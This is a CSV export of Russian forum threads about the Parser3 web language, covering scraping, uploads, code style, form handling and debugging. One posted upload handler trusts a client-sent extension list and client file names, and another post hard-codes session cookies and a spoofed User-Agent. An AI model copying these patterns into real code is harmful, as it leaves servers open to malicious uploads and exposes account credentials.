"71976","Уважаемы гуру и монстры парсера объясните тугодуму это так должно быть? \
Вариант первый, таблица message_comment достается из базы \
ниже приведенный код дает ошибку: \
comment\
string method not found\
\
[code]\
^message_comment.menu{\
^if(def $message_comment.comment){\
$message_comment[$message_comment.comment]\
}{\
$message_comment[Текст сообщения отсутствует]\
}\
}\
[/code]\
\
Вариант второй, та же самая таблица из той же базы тем же запросом, но называется comment_table. Тот же кусок кода но по другому называется таблица\
\
[code]\
^comment_table.menu{\
^if(def $comment_table.comment){\
$message_comment[$comment_table.comment]\
}{\
$message_comment[Текст сообщения отсутствует]\
}\
}\
[/code]\
проверяем все работает!!!!!!!!!!!!\
Я что-то где-то не прочитал в мануале??? Научным методом тыка я понял что ошибка вылезает из-за того что в первом случае когда доходило до условия вместо таблицы в переменной оказывалась строка, т.е менялся тип переменной, но парсер ругался на строку [code]$message_comment[$message_comment.comment][/code] , т.е. [code]^message_comment.menu{}[/code] проходит совершенно спокойно хотя я в документации у класса стринг к коему стала относиться таблица собственно метод menu не обнаружил... Я понимаю что я балбес и это моя ошибка, но любопытно было бы услышать разъяснения. Заранее спасибо за ответ."
"71977","ну тык вы этой строчкой на первой-же итерации цикла в переменную $message_comment, в которой у вас была таблица, записываете строку.\
\
соотв. вторая итерация цикла пройти не может, т.е. в переменной уже строка."
"71978","У меня такая проблема:\
\
вот часть кода:\
[code]\
^if(^hBlockData.data_type_id.int(0)){\
	$hDataTypeData[^oBlock.getDataType[\
		$.data_type_id($hBlockData.data_type_id)\
	]]\
	^process[$caller.self]{$hDataTypeData.edit_script}\
}\
[/code]\
\
рассказываю что хранят переменные:\
\
сюда [b]$hDataTypeData[/b] попадает таблица сформированная из результата выполнения [b]SQL[/b] запроса.\
\
в ячейке [b]$hDataTypeData.edit_script[/b] сидит код Parser:\
[code]^getFiles[/_files/$iBlockId/][/code]\
\
строка [b]^process[$caller.self]{$hDataTypeData.edit_script}[/b] должна выполнить этот код и выдать XML. А вместо этого она его не выполняет и выдает строку [b]^getFiles[/_files/$iBlockId/][/b].\
\
почему так происходит?"
"71979","[quote]Тело оператора ^process{...}  теперь подвергается автоматическому преобразованию ^untaint[parser-code]{...}. Это несовместимое с предыдущей версией изменение: если в вашем коде в process подставлялись строки, полученные из неблагонадёжных источников (из файла, базы данных, form и т.п.) и ожидалось, код в них выполнится, то для того, чтобы всё продолжало работать, вам необходимо написать ^process{^untaint[as-is]{...}}.[/quote]\
\
А подробнее можно прочитать на странице http://www.parser.ru/docs/lang/opuntainttaint.htm"
"71980","Спасибо) :)"
"71981","[quote]ну тык вы этой строчкой на первой-же итерации цикла в переменную $message_comment, в которой у вас была таблица, записываете строку.\
\
соотв. вторая итерация цикла пройти не может, т.е. в переменной уже строка.[/quote]\
Этоя уже понял, но странно что не затыкается на методе .menu этой новой строки... Впрочем интерес чисто академический, ошибку уже осознал..."
"71982","Уважаемые гуру и монстры парсера, вчера ночью видел ссобщение где кто-то просил сделать сборщик цен на запчасти с нескольких сайтов. У меня сейчас стоит примерно та же задача, надо мониторить цены на нескольких сайтах основных конкурентов. Можно ли реализовать этот механизм при помощи парсера и если можно то в какую сторону копать? Может кто-то уже реализовал подобное и поделиться своим бесценным опытом? Заранее спасибо всем ответившим."
"71983","Лучше делать это консольным скриптом и внимательно следить за памятью, не забывая производить \"сборку мусора\"."
"71984","Ну в принципе я где-то так и думал... Делали ли Вы что-то подобное? Удалось реализовать? Заранее спасибо за ответ..."
"71988","http://code.google.com/p/parser3-pf/source/browse/trunk/pf/types/pfString.p\
Очень быстро и удобно.\
\
Пример:\
[code]\
@parseWUP[code]\
$result[^pfString:right[$code;width=\"700px\"]]\
$result[^pfString:left[$result;</tr><tr><td  style=]]\
$result[^pfString:right[$result;>]]\
$result[^pfString:left[$result;</td>]]\
$result[^untaint{$result}]\
[/code]\
\
Всегда безошибочно возвращает только текст из одного сайта.\
www.wup.pl/index.php?id=178\
\
Только блогодаря ^for[...] менял я id и взал про себя все тексты из сайта"
"71990","Этот вопрос уже поднимался на форуме, но безответно :((\
В PHP есть такой суперглобальный массив $_FILES для обработки multipart-формы. \
Как средствами парсера добраться до полей multipar формы, отправляемой файлы."
"71992","Я так понял, что $form:files есть только в parser v 3.4.х"
"71993","Т.е. с 27 декабря 2007 г.\
\
А Вам действительно нужно обрабатывать поле с одним и тем же именем, содержащее несколько файлов? Если нет, то получить файл из мультипарт-формы возможно в любой версии - http://www.parser.ru/docs/lang/formfield.htm"
"71994","Спасибо! Обновил парсер - все заработало!!!"
"71995","$form:name и вы получили-бы file.\
\
$form:files.name нужен, если у вас в форме есть несколько полей типа file с одинаковым именем name, и вам нужно получить их все."
"71996","Именно много полей с одинаковым именем. JQuery Uploadify — мультизагрузка файлов."
"71997","Если судить по демо, этот плагин грузит файлы на сервер последовательно, а значит для каждого нового файла будет отдельный запрос на сервер ==> разные экземпляры парсера ==> нескольких полей с одним именем не будет."
"71998","^if((def $form:files.Filedata) && (def $form:fileext)){\
^form:files.Filedata.foreach[sNum;fValue]{\
# перекодировка в транслит для кривых серверов\
$name[^hz2_to_translit[$fValue.name]]    \
# откусываем расширение\
$ext[$ext[^fValue.name.split[.;rh]]*.${ext.0}]  \
# разрешенные расширения \
$fileext[^form:fileext.split[^;;v]]              \
# сверяем с разрешенными\
$ext_select[$extok[^fileext.select($fileext.piece eq ${ext})]^extok.count[]]  \
^if($ext_select eq 0){$echo[Invalid file type.]}{$echo[1]\
# сохраняем\
^fValue.save[binary;${form:folder}/${name}]\
}}\
# рапортуем скрипту о результатах\
$echo    \
}"
"71999","код выковыривания расширения можно упростить:\
[code]\
$ext[$ext[^fValue.name.split[.;rh]]*.${ext.0}]\
[/code]\
=>\
[code]\
$ext[^file:justext[$fValue.name]]\
[/code]\
\
код проверки валидности расширения -- тоже (хотя делать проверку валидности, когда маска пришла вместе с файлом из формы -- по меньшей мере странно)\
[code]\
# разрешенные расширения \
$fileext[^form:fileext.split[^;;v]] \
# сверяем с разрешенными\
$ext_select[$extok[^fileext.select($fileext.piece eq ${ext})]^extok.count[]] \
^if($ext_select eq 0){$echo[Invalid file type.]}{$echo[1]\
[/code]\
=>\
[code]\
# разрешенные расширения \
$fileext[^form:fileext.split[^;;v]] \
# сверяем с разрешенными (с учётом регистра, как и в исходном коде, что неправильно)\
^if(^fileext.locate[piece;$ext]){\
	$echo[1]\
	...сохраняем, но делать просто ^fValue.save[binary;${form:folder}/${name}]\
	как в исходном коде нельзя, т.к. может быть 2 файла с одинаковыми именами...\
}{\
	$echo[Invalid file type.]\
}\
[/code]\
\
ну и кроме двух вышеописанных проблем, приведённый код некорректно обрабатывает несколько отправленных файлов, т.к. в этом случае он вернёт что-то типа '000' или например '0Invalid file type.0'\
\
если же, как заметил Vint, за раз загружается один файл, то огород городить с $form:files незачем и достаточно читать $form:Filedata."
"72000","Посмотрел по ссылке классы, сразу захотел высказаться. Как же так можно было мусорно оформить код? Ошибки грамматические, даже на русском. Куча ненужной информации в коде, 2 решётки зачем-то используются, методы неотбиты друг от друга. Тут на форуме Миша публиковал правила, как хорошо писать код на Парсере, может стоит использовать их? А то всё больше походит это на перл."
"72001","... если готовы поправить, то я с удовольствием приму патчи. Тем более, что код класса pfString по большей части заимствованный (источники указаны в коде) и я не занимался рефакторингом этих методов.\
\
Что касается \"правил\", то в PF'е есть собственные - http://code.google.com/p/parser3-pf/source/browse/trunk/pf/CODESTYLE\
\
p.s. И, кончено, я с большим удовольствием взглянул бы на другие подобные библиотеки, которые соответствуют Вашим строгим требованиям. :)"
"72002","Не так часто мы видим трезвую критику тут на форуме, поэтому я просто обязан вступить в дискуссию.\
\
Андрей, видимо, хотел сказать, что тот набор правил, который составил Миша (кстати вот он http://www.parser.ru/forum/?id=57401 ), он хоть каким-то образом, но обоснован - ну вот я про первые два параграфа имею ввиду. То есть, когда человек, имеющий непоследнее место в проекте, пишет какой-никакой список чего-то относящегося к его же проекту, было бы по крайней мере глупо его оспаривать или придумывать новый.\
\
Я залез в CODESTYLE, посмотрел и, честно говоря, тоже не понял: почему 80 символов (терминалы давно поддерживают длинные строки), почему 2 пробела (1 таб короче), зачем отсутп внутри методов, зачем локальные переменные в буквы \"l\", аргументы с буквы \"а\" (почему методы не с буквы \"m\", а классы не с \"С\", а с \"pf\"), почему подчёркивание у private методов (CamelStyle не приемлит оных).\
\
Для меня, например, хороший код - это любой, написанный на питоне. Там самодокументирование на уровне языка, отбивка кода как часть синтаксиса, да и вообще всё сделано математиком, основываясь на всех ошибках и недочётах - придумать что-то лучшее, чем питон - это искусство. А вот придумать новых правил для парсера, это, как сказал мой приятель из гугла: \"зачем тебе новый Перл от Лебедева\".\
\
Ну как-то так, без обид :)\
[url=\"http://code.google.com/p/gdata-python-client/source/browse/trunk/src/gdata/base/service.py\"]Красиво же[/url]?"
"72003","Теперь можно сразу перейти к классике - http://www.python.org/dev/peps/pep-0008/ из которой читатель узнает много нового. Например, про то, что в Питоне рекомендуется отступ делать не табуляцией, а пробелами, про ограничение длин строк, про \"внутренние\" переменные, которые начинаются с подчеркиваний и прочие интересные вещи. Думаю авторитет авторов этого документа не вызывает сомнений?\
\
Теперь несколько важных моментов:\
- Префиксы \"pf\" для всех классов выбраны специально - поскольку в Парсере (в отличии от того же Питона) нет пространства имен то для библиотеки крайне важно иметь имена классов, которые не будут пересекаться с существующими пользовательскими классами. [lib.p, sql.p, date.p и пр. к таким именам не относятся, да и префикс \"C\" нельзя считать достаточно уникальным].\
- Описанная Мишей, \"венгерская нотация\", т.е. использование в именах переменных префиксов типов, вещь крайне спорная, а для языков с динамической типизацией крайне вредная. Именно поэтому в текстах на том же самом Питоне, который проповедует применение принципа [url=http://ru.wikipedia.org/wiki/%D0%A3%D1%82%D0%B8%D0%BD%D0%B0%D1%8F_%D1%82%D0%B8%D0%BF%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F]\"duck typing\"[/url] (который и в Парсере прекрасно работает), никакая венгерская нотация не используется. [Подробнее о нотации и ее первоначальном виде можно прочитать [url=http://local.joelonsoftware.com/mediawiki/index.php/%D0%9A%D0%B0%D0%BA_%D0%B7%D0%B0%D1%81%D1%82%D0%B0%D0%B2%D0%B8%D1%82%D1%8C_%D0%BD%D0%B5%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%B4_%D0%B2%D1%8B%D0%B3%D0%BB%D1%8F%D0%B4%D0%B5%D1%82%D1%8C_%D0%BD%D0%B5%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D1%8C%D0%BD%D0%BE#.D0.AF_.D0.92.D0.B5.D0.BD.D0.B3.D1.80]в известной статье[/url] Джоэля Спольски.]\
- Префиксы \"a\", \"l\" и \"_\" были введены для улучшения читаемости кода функций - сейчас легко понять какие данные пришли в метод снаружи, какие вычислены внутри, а какие получены из текущего класса. Т.е. фактически это дополнительное средства для синтаксического разделения на пространство имен."
"72004","Всё верно, \"статья\" про питон очень правильная и ничего нового там нет для меня, да и Гвидо молодец и хороший человек в принципе :) Но, эм... Она про питон. Там-то какраз всё понятно и очень логично: табы не юзать - в терминале будет неудобно (префикс -t для этого), именно поэтому узать пробелы, потому что и визуально сложно отличить таб от 8 пробелов, а на этом завязан синтаксис. 79 символов строка - в терминале будет удобно юзать и можно открыть несколько окон сразу. С парсером никто не работает в терминале, в емаксе думаю человек 5 работают, а это всё же уже нормальный редактор, в котором можно и покрутить текст и поменять размер шрифта при надобности. В общем, эти базовые принципы кода для питона слабо подходят к парсеру в частности. По поводу \"a\", \"l\" в начале переменных - тот же ван Россум писал \"не пишите код сложно, пишите просто\", и всегда будет ясно, что пришло в метод и какого типа. Да и не нужно это в питоне - строка же это список. Локальные переменные можно (и нужно) перечислить после описания метода, например, и тоже будет понятно.\
\
Про нэймспейс, да, согласен - этого не хватает. Хотя, кстати, и не понятно, как и зачем нужен объектный язык в 21-м веке без пространства имён.\
\
Я понял вашу позицию, бесспорно логика есть и в ваших словах. Давайте я подытожу всё одной хорошей фразой, которую сказал Dean Baker: \"Make it work\". Остальное не так важно."
"72005","Ну не скажите - я на пример пишу скрипты в консоли - у меня стоит gis система на постгресе и приходится заливать сырую информацию в базу, далее при помощи скрипта написаного на парсере делаю разноску данных.  меня устраивает - миллионы строк в несколько сек.\
А что касается читабельности кода - сам не претендую на звание образцового но в основном с Sumo согласен.\
\
Самое главное чтобы скрипт выполнялся, конфликты не появлялись, ошибки не вылазили и девки нам улыбались!\
С праздником!"
"72006","щас бы с радостью сам себя покритиковал-бы, но лень %-)\
\
P.S. не бывает одного универсального стандарта для всего на свете. стандарт нужен для решения каких-то задач, а они в разных случаях могут очень сильно отличаться."
"72007","Очень хочется иметь сборку parser 4.0.x с XML [b]без SAFE MOD[/b]E под CentOS 32bt.\
\
Поделитесь, кто может :)\
Заранее спасибо!!!"
"72011","она с safe mode и не дает запускать Image Magic :("
"72012","Принцип формирования ссылки на grpunlim-версию не сложно найти поиском по форуму."
"72013","я делал много агрегаторов на Parser, помимо file::load + match я бы еще посмотрел в сторону xdoc::load ведь многие уже научились писать чистый html.\
\
В особенности присматривайтесь к печатным, wap и pda версиям. В них гораздо меньше кода, проще чистить, а зачастую даже этого делать не надо. \
\
xdoc::load + xsl который генерит инпуты в базу. При подвешивании в cron вы получите актуальную базу в удобное время, в удобной для вас форме.\
\
Кстати, сейчас я бы еще обратил внимание на YQL. С его помощью тоже можно легко наладить агригацию. За подробностями в Google"
"72014","Подскажите пожалуйста, существуют ли фильтры, позволяющие выводить через list список не всех файлов по шаблону, а определенное их чило (первые 10, вторые 10 и т.п.)? Если нет, можно ли как-нибудь реализовать? (Идея с числовыми именами файлов (1,2,3..10..20), увы, не катит)."
"72015","разве что перебрать полученную таблицу и select'ом отфильтровать по ^table.line[]"
"72016","Подкиньте ссылочку на сборку parser 4.0.x с XML без SAFE MODE под CentOS 32bt. Очччччень надо!\
Спасибо огромное!!"
"72018","получая список вы не знаете, файл это или папка. Расширение не является признаком того или другого.\
Поэтому нужно честно в while перебирать с проверкой -f пока не насчитаете нужное количество."
"72020","http://habrahabr.ru/blogs/ruby/85392/\
Предлагаю организовать что-то подобное. Кто не против?"
"72021","...но я из Польши вероятно не приеду. Но какие темы хотел бы ты обсудить?"
"72023","Спасибо большое! Действительно перекодировка базы с перезаливкой решила проблему."
"72024","Там лет 5 назад спрашивали и просили, да и тут наткнулся на проблему, что на нормальном буржуйском хостинге нормальная авторизация нужна.\
\
И как я понял, это сейчас даже не обойти никак, хотя я попробую поискать собраный парсер без сейф мода и слать sendmail-ом.\
\
Спасибо.\
\
PS. Как я и думал, доступ к sendmail запрещён из соображений безопасности."
"72025","А более правильно и серъезно все организовать. Доклады там то, се, вопросы умные :)"
"72026","Спасибо большое! Пригодилось очень!)"
"72027","Вопрос к знатокам. \
\
Подскажите, как организован порядок (получения внутри Парсера) полей для [i]$form:fields[/i].\
\
Например, тело запроса выглядит как: [code]proceed=1&list_133=1&list_0=18&list_134=2[/code],\
\
по идее, [i]^form:fields.foreach[/i] должен возвратить их в таком же порядке, \
т. е. [i]proceed, list_133, list_0, list_134[/i], а на деле возвращается [i]list_0, proceed, list_133, list_134[/i].\
\
[i]Разве нет варианта чтобы получить их в порядке тела запроса, кроме как вручную разбивать в таблицу тело запроса по разделителю и потом разбирать через меню?[/i]"
"72028","Как-то не совсем комильфо будет разбирать эти поля :-)"
"72029","Для файлов есть $form:files"
"72030","Файлы не нужны.\
\
Нужен порядок для следующего.\
\
Есть некие абстрактные поля. Имена полей вида abstract_17238, где 17238 -- идентификатор в базе.\
\
Порядок в базе определяется не идентификатором (автоинкрементным), а полем sort_order, например.\
\
В форме с помощью javascript происходит модификация полей, какие-то из них удаляются, добавляются новые (между ними, перед или после них). \
Для новых полей создаются имена вида abstract_0 + случайное число (чтобы таблицы не было из них). \
\
Так как у нас в базе данных для автоинкрементных полей не предусмотрено нулей впереди, все такие поля считаются новыми (добавляются). \
Другие -- обновляются (если пришли с формы, те что не пришли - удаляются). \
\
Вот тут самое интересное. \
Думал, что для ^form:fields.foreach будет порядок полученный из тела запроса -- тогда не вопрос.\
\
А нет, батенька, не выйдет. Или запроса разбирать или в js синхронизировать (не вопрос)."
"72031","if вам в помощь \
у меня примерно такой же  вопрос - приходят переменные с динамическими именами - все чудесно обрабатывается - если надо могу кинуть кусок кода или логику (личка), но по сути этот вопрос у меня вообще не вызвал затруднений."
"72032","Самое главное группировка обьектов и ключи к группам(набор полей обьекта обьеденные одним идентификатором (инкремент)) и типам групп(новые, редактируемые, удаленные - три отдельных списка в скрытых полях).\
В общем как-то так."
"72033","А про то, почему с порядком в $form:fields получается такая история.\
\
Это вопрос Мише, скорее всего."
"72036","... при этом протокол HTTP не настаивает на некотором \"правильном\" порядке следования данных (более того - предполагается, что параметры могут следовать в любом порядке). Соответственно требовать от Парсера некоторого \"порядка\" следования полей не стоит и алгоритм перебора параметров надо строить так, чтобы он не зависел от этого порядка. Кроме того, надо помнить, что поддержка порядка следования элементов в хеше появилась в Парсере только с версии 3.4.0."
"72037","[i]Как[/i] Парсер заполняет [i]$form[/i] на уровне ядра. Последовательность заполнения ведь прослеживается! Не на основе генератора случайных чисел ;-)"
"72039","Вроде все последовательно. Хм."
"72041","т.к. это не гарантирует работоспособность, и решается добавлением ещё одного поля, в котором списком передаётся корректная последовательность полей (например: \"abstract_0111,abstract_17238,abstract_0222\")"
"72044","Поля, насколько я понял из cvs-хранилища заполняются последовательным разбором разделителей? \
\
Почему тогда в хэше они расположены иначе? Апач ведь не может изменять порядок следования значений в теле запроса?"
"72045","не знаю, надо разбираться.\
\
вряд-ли сервер меняет порядок полей, скорее всего в form используется хеш, который не помнит порядка добавления элементов."
"72046","Последнее очевиднее. В @todo?"
"72047","http://cvsview.parser.ru/cgi/viewcvs.cgi/*checkout*/parser3/src/main/Attic/pa_hash.C\
\
Оно?"
"72049","Сохранял страничку, использовал tidy и при помощи XSLT уже брал необходимые элементы."
"72050","В доке написано http://www.parser.ru/docs/lang/?app1.htm что можно отсылать файл в форму. На удаленом сервере есть форма:\
\
[code]\
<form action=\"/upload/\" method=\"post\" enctype=\"multipart/form-data\" class=\"form\">\
<fieldset>\
<input type=\"hidden\" name=\"action\" value=\"Edit\" />\
<label for=\"file\">Выберите файл на вашем ПК:</label>\
<input type=\"file\" id=\"file\" accept=\"application/x-bittorrent\" name=\"file\" value=\"\" />\
<input type=\"submit\" name=\"submit\" value=\"Загрузить\" />\
</fieldset>\
</form>\
[/code]\
\
Нужно отослать файл в эту форму. Только я не соображу как :(\
\
[code]\
\
$f[^file::load[text;^taint[as-is][http://upload/]; \
				$.timeout(5)\
				$.method[POST]				 \
				$.enctype[multipart/form-data]\
				$.headers[\
					$.User-Agent[Linguee Bot (bot@linguee.com)]\
  				]					\
				$.cookies[ \
					$.member_id[38793]\
					$.pass_hash[ee822688ee861dda336e0ca78868ecef]\
				]\
				$.form[\
					$.action[Edit]\
				]\
		]]\
[/code]\
\
Не могли бы вы подсказать как? Заранее благодарен."
"72051","[code]\
$.form[\
  $.поле[строка]\
  $.поле[файл]\
  $.поле[$таблица]\
  …\
]\
[/code]\
\
Мне кажется очевидно, что полю просто надо присвоить переменную типа file."
"72052","$.поле[файл] как туда передать файл? Не пусть же файла передавать. Файл предполагается загружать бинарный."
"72054","Ага. Надо :)"
"72055","[quot]\
Нужно отослать файл в эту форму. Только я не соображу как :(\
[/quot]\
\
вы не можете этого сделать.\
таким способом нельзя отослать файл в форму (== в браузер == пользователю).\
с помощью ^file::load файл можно отослать другому серверу, как если бы форма из браузера постилась сразу туда."
"72056","Добрый день\
\
Кто нибудь знает, есть ли какие нибудь проблемы при установки Parser 3 на хостинге [url=\"http://www.host.ru/\"]Зенон[/url]? Или все отлично работает?"
"72057","Только на одной странице на работающем сайте вылезает непонятная ошибка и в error_log пишется строка:\
[quote]Premature end of script headers: /pub/home/redtorch/cgi-bin/parser3/parser3.cgi[/quote]\
При этом parser.log, конечно, пустой, но сам-то Parser работает."
"72058","... которые выделены скриптам на сервере. Т.е. веб-сервер жестко \"убивает\" парсеровский процесс, не давая ему записать что-либо в лог. Вывод - разбирайтесь с логикой, которая присутсвует на странице и ищите, что же потребляет ресурсы (скорее всего память)."
"72059","Не проходим сертификацию. \
\
Do Not Persist Authentication Cookies\
\
Или надо передавать куки по https\
\
третий парсер\
как решить проблему, кто-нибудь сталкивался?"
"72060","Чтобы было понятно в результате каких действий вылетает ошибка. А то с телепатами на форуме плохова-то.\
\
p.s. Пока могу предположить, что от вас требуют ставить сессионные куки или еще более жестко ограничивать время жизни аутентификационных данных в браузере."
"72062","Все обычно отлично компилируется. \
\
Или берется уже собранная версия (http://www.parser.ru/download/) для FreeBSD x.x."
"72063","Спасибо, хотел просто узнать, раньше не приходилось работать с Зеноном.\
\
Они тоже мне ответили что у них все работает."
"72064","Всем привет!\
Посоветуйте, можно ли написать на parser что то типа яндекс фоток, или для этого лучше использовать другой язык.\
Спасибо."
"72065","Я на нем даже документооборот и гис написал. с фотками и подавно"
"72066","Если вопрос общего плана, то ответ очевидный: на языке, предназначенном для веб-программирования, можно сделать любую задачу для веба. :)"
"72067","12345.333 => 12 345.33\
Ключевой момент, это пробел между тысячами \
Есть возможность это сделать через ^str.format[] ?"
"72069","Для сомнений пока нет причин, просто выбираю какаой язык учить"
"72070","просто хочу выяснить какой язык удобней для конкретной задачи"
"72071","Для конкретной задачи удобней тот язык, который хорошо знаешь.\
\
Если у вас задача просто сделать какой-либо сайт, то парсер вполне подходит. При необходимой доли упорства и опыта можно решать практически любые задачи для веба. В освоении весьма и весьма прост.\
\
Если ваша задача - освоить какой-либо язык и попытаться трудоустроиться, то учите PHP, Pyton или RoR. Выучив один из них - принимайтесь за другой. Выучить - это значит сделать хотя бы пару серьезных проектов на нем. \
\
Парсер, при всей своей замечательности, не имеет широкого распространения. И найти работу наемным сотрудником зная только Парсер будет очень непросто."
"72076","Начав работать с ПХП очень поражался той помойке, которая там есть хотя бы с наименованием функций."
"72077","язык пронрамирования первый, и суть в том что нужно подобрать язык максиматьно подходящий для создания ресурса как яндекс фотки"
"72078","Если нужно сделать конкурента Яндекс.Фоток, то тут знать один язык недостаточно - это комплексная задача, особенно в части обработки, хранения и раздачи большого количества графических файлов, и решить ее можно только имея достаточный опыт разработки веб-систем. \
\
Если же речь идет просто о написании \"навороченной\" фотогалереи с целью изучения веб-программирования, то Парсер вполне подойдет для такой задачи, правда для некоторых вещей (получения параметров картинок, формирования превьющек и т.п.) необходимо будет использовать внешние программы (например, из комплекта [url=http://www.imagemagick.org/script/index.php]ImageMagick[/url]). Причем Парсер может обеспечить более высокий уровень безопасности, поскольку имеет в языке средства защиты от некоторых распространенных атак."
"72079","не конкурента, но примерно тоже самое по дизайну и функционалу.\
я бы не сказал что слишком амбициозна, думаю за пол года я смогу достаточно продвинуться в каком нибудь языке.\
Вопрос в каком."
"72080","\"Для конкретной задачи удобней тот язык, который хорошо знаешь.\"\
\
я никакой не знаю"
"72082","буду стараться, все советуют Python для начала"
"72083","Необходимо вывести из парсера в html вывести [code]<!--text-->[/code], то есть чтобы в исходном коде страницы он был виден, но на самой странице нет. Я формирую страницы передавая данные в xml [code]<text><!--text--></text>[/code] и применяя xsl шаблоны."
"72088","Апдейт: \"Details of S3's design are not made public by Amazon.\"\
\
Эх."
"72089","Спасибо, правда пришлось при выводе в xml реплейсить [code]<!-- -->[/code]"
"72090","Если в xml приходит честный незаэскейпленный комментарий и надо вывести содержимое ноды text как есть, то:\
[code]<xsl:copy-of select=\"text/comment()\" />\
или\
<xsl:comment>\
	<xsl:value-of select=\"text/comment()\" />	\
</xsl:comment>[/code]"
"72095","Здравствуйте!\
Я нашёл такое: http://en.wikipedia.org/wiki/String_metric\
\
Делал ли кто-нибудь что-то подобного на p3?"
"72096","Алгоритм \"Hamming distance\" реализовать достаточно просто, хотя и не очень эффективно по скорости - у Парсера нет быстрого механизма работы с отдельными символами строк. Кроме того, через MySQL можно вызвать функцию soundex, но работает этот алгоритм только для английского языка.\
\
Если говорить о самой проблеме, то эти алгоритмы нужны при полнотекстовом поиске, а это лучше решать с помощью специализированных продуктов ([url=http://www.sphinxsearch.com/]Sphinx Search[/url], [url=http://company.yandex.ru/technology/server/]Yandex.Server[/url], [url=http://www.dataparksearch.org/]DataparkSearch[/url] и пр.) поскольку проблема достаточно сложная и требует интенсивных вычислений, что на скриптовых языках сделать эффективно крайне сложно."
"72097","Необходимо произвести GET-запрос http://api.wipmania.com/123.45.67.89?google.com и результат присвоить переменной."
"72100","Нашел тут на форуме, нужный мне класс http://www.parser.ru/forum/?id=59365\
Скачал, начал рассматривать как лучше использовать.\
Для построения необходимо два запроса в базу, при чем первый подсчет, всех строк, ИМХО ресурсоемкий.\
Вопрос по скорости, что будет быстрее\
SELECT (*)\
и потом уже лимит\
или же \
SELECT SQL_CALC_FOUND_ROWS ....\
с запросом потом FOUND_ROWS()\
Но во втором случае, получаем сложность в реализации скролера, я пока для себя решил, это двойным объявлением его. Первый раз, с нереально большим количеством строк, для генерации лимита и оффсета, методами класса скролера, и потом второй раз уже с реальными значениями FOUND_ROWS(), для генерации списка переходов по страницам.\
Какой же способ все таки лучше?\
PS в селекте очень много лефтджоинов, и вариаций с условиями.По этому мне кажется, что лучше один раз вдолбить такой запрос."
"72101","Ресурсоемкость запроса, вычисляющего количество записей, надо измерить. Если для данных грамотно расставлены индексы, то подсчет записей будет происходить очень быстро. Если же скорости не хватает, то вполне можно сделать денормализацию - т.е. завести отдельную таблицу с количеством записей по необходимым критериям (которую обновлять при добавлении или изменении данных) и делать первый запрос к этой таблице - это очень быстро, да и такое решение хорошо переносимо на другие СУБД по сравнению с SQL_CALC_FOUND_ROWS.\
\
p.s. И надо помнить, что запрос select count(*) без where для myisam-таблиц выполняется гораздо быстрее, чем для innodb... правда на этом преимущества myisam заканчиваются. :)"
"72102","WHERE тут по умолчанию идет в любых вариациях.\
спасибо, буду наблюдать и мерить."
"72103","вот [url=\"/forum/?id=30213\"]ссылка[/url] на моё древнее исследование по этой теме. т.е. по моему вариант с SQL_CALC_FOUND_ROWS сильно лучше (но вообще говоря надо смотреть каждую конкретную ситуацию, да и с 4.0 много воды утекло).\
\
если вам не нужна нумерация страниц с конца, то вы можете рассчитать offset сами на основании пришедших в form данных, подставить их в запрос, а объект-скроллер создавать после получения результатов запроса, когда у вас будет известно общее количество записей."
"72105","несколько моментов:\
- это было давно и использовались достаточно старые версии MySQL\
- там требовался LIKE (это важно) и искалось введённое пользователем (т.е. попаданий в MySQL кэш было мало, в вашем случае возможно почти все SELECT COUNT(*) будут кешироваться сервером)\
- записей в основной таблице было 300 000 (по которым делался LIKE)\
\
=> в вашем случае я попробовал бы для начала два запроса"
"72106","Добрый вечер.\
Есть тестовый антиспам-фильтр, который в отчете (CSV файл) пишет информацию о сообщениях, которые он обработал с присвоенными оценками.\
Для отладки хочется понять какие сообщения он отметил правильно, в каких ошибся. Проблема в том, что \"Тема\" может быть\
=?koi8-r?B?0sXNz87UIM7BIMTB3sUgySDXIMvXwdLUydLF?=\
или\
RE: SALE 70% 0FF on Pfizer\
или\
=?windows-1251?B?0erg9+Dy/CDE7ury7vAg1eDz8SA2IPHl5+7t?=\
\
Скажите, как применительно к таким строкам использовать конструкцию Untaint с использованием mail-header - чтоб получить читаемый текст.\
Спасибо."
"72107","Во-первых untaint - это не обратная операция для taint - http://www.parser.ru/examples/tainting/ - поэтому с его помощью ничего декодировать не получится в принципе.\
Во-вторых для декодирования из base64 в Парсере есть соответсвующие методы, например, http://www.parser.ru/docs/lang/stringbase64c.htm"
"72108","т.к.:\
- вот эти ?koi8-r? и ?windows-1251? -- будут мешаться, т.к. у парсера нет инструментов для перекодирования (кроме внутренних)\
\
- кроме base64 (?B? после кодировки) там может быть ещё quoted-printable (?Q?), которую также раскодировать нечем, т.к. у парсера это есть только в виде встроенного механизма.\
\
да, в принципе и то и то можно реализовать на парсере, но в случае больших отчётов могут вылезти проблемы с памятью и временем выполнения, т.к. не быстро это будет, перекодировать кодом на парсере."
"72109","А в чем это можно реализовать?"
"72110","... скажем, на Питоне, который произведет нормализацию и перекодировку csv-файла, а потом просто обработать его Парсером."
"72111","Ни с того ни с сего ^math:uuid[] стал выдавать одинаковые значения.\
\
А так же random и uid64\
\
Linux 2.6.18-028stab056.1\
Apache/2.2.3 (CentOS)\
Parser  как CGI\
\
bash> echo $RANDOM\
и\
<?php  echo rand(); ?>\
работают нормально\
\
В какую сторону рыть? \
\
\
Спасибо"
"72112","=?koi8-r?B?0sXNz87UIM7BIMTB3sUgySDXIMvXwdLUydLF?=\
а если по-другому:\
извлекаем:\
0sXNz87UIM7BIMTB3sUgySDXIMvXwdLUydLF\
ее конвертируем ^строка.base64[] \
получаем \
ТЕНПОФ ОБ ДБЮЕ Й Ч ЛЧБТФЙТЕ\
теперь надо как-то изменить кодову страницу с ko8-r на win1251\
это возможно?"
"72114","[code]^math:uuid[][/code]\
\
результат всегда один и тот же"
"72115","main/random.C\
\
парсер пользуется системными:\
/dev/urandom\
/dev/random\
\
http://www.parser.ru/forum/?id=61967 (увы, но там ничем не закончилось)"
"72116","Действительно, проблема в /dev/urandom\
У меня тоже VPS (как и по ссылке), только нет админских прав\
\
Вот это всегда выдает одно и то же:\
[code]\
#!/bin/bash\
                                                                                                                         \
hex=`dd if=/dev/urandom bs=1 count=8 2>/dev/null |                                                                                                    \
od -tx1 | head -1 | cut -d' ' -f2- |                                                                                                                  \
tr -d ' ' | tr '[a-f]' '[A-F]'`                                                                                                                       \
                                                                                                                                                \
echo \"$hex\"  \
[/code]\
\
